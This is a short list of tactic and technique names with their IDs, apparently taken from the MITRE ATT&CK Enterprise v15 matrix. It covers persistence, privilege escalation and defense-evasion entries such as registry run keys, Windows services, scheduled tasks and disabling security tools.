MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

Scheduled Task/Job

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

Scheduled Task/Job

Defense Evasion

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry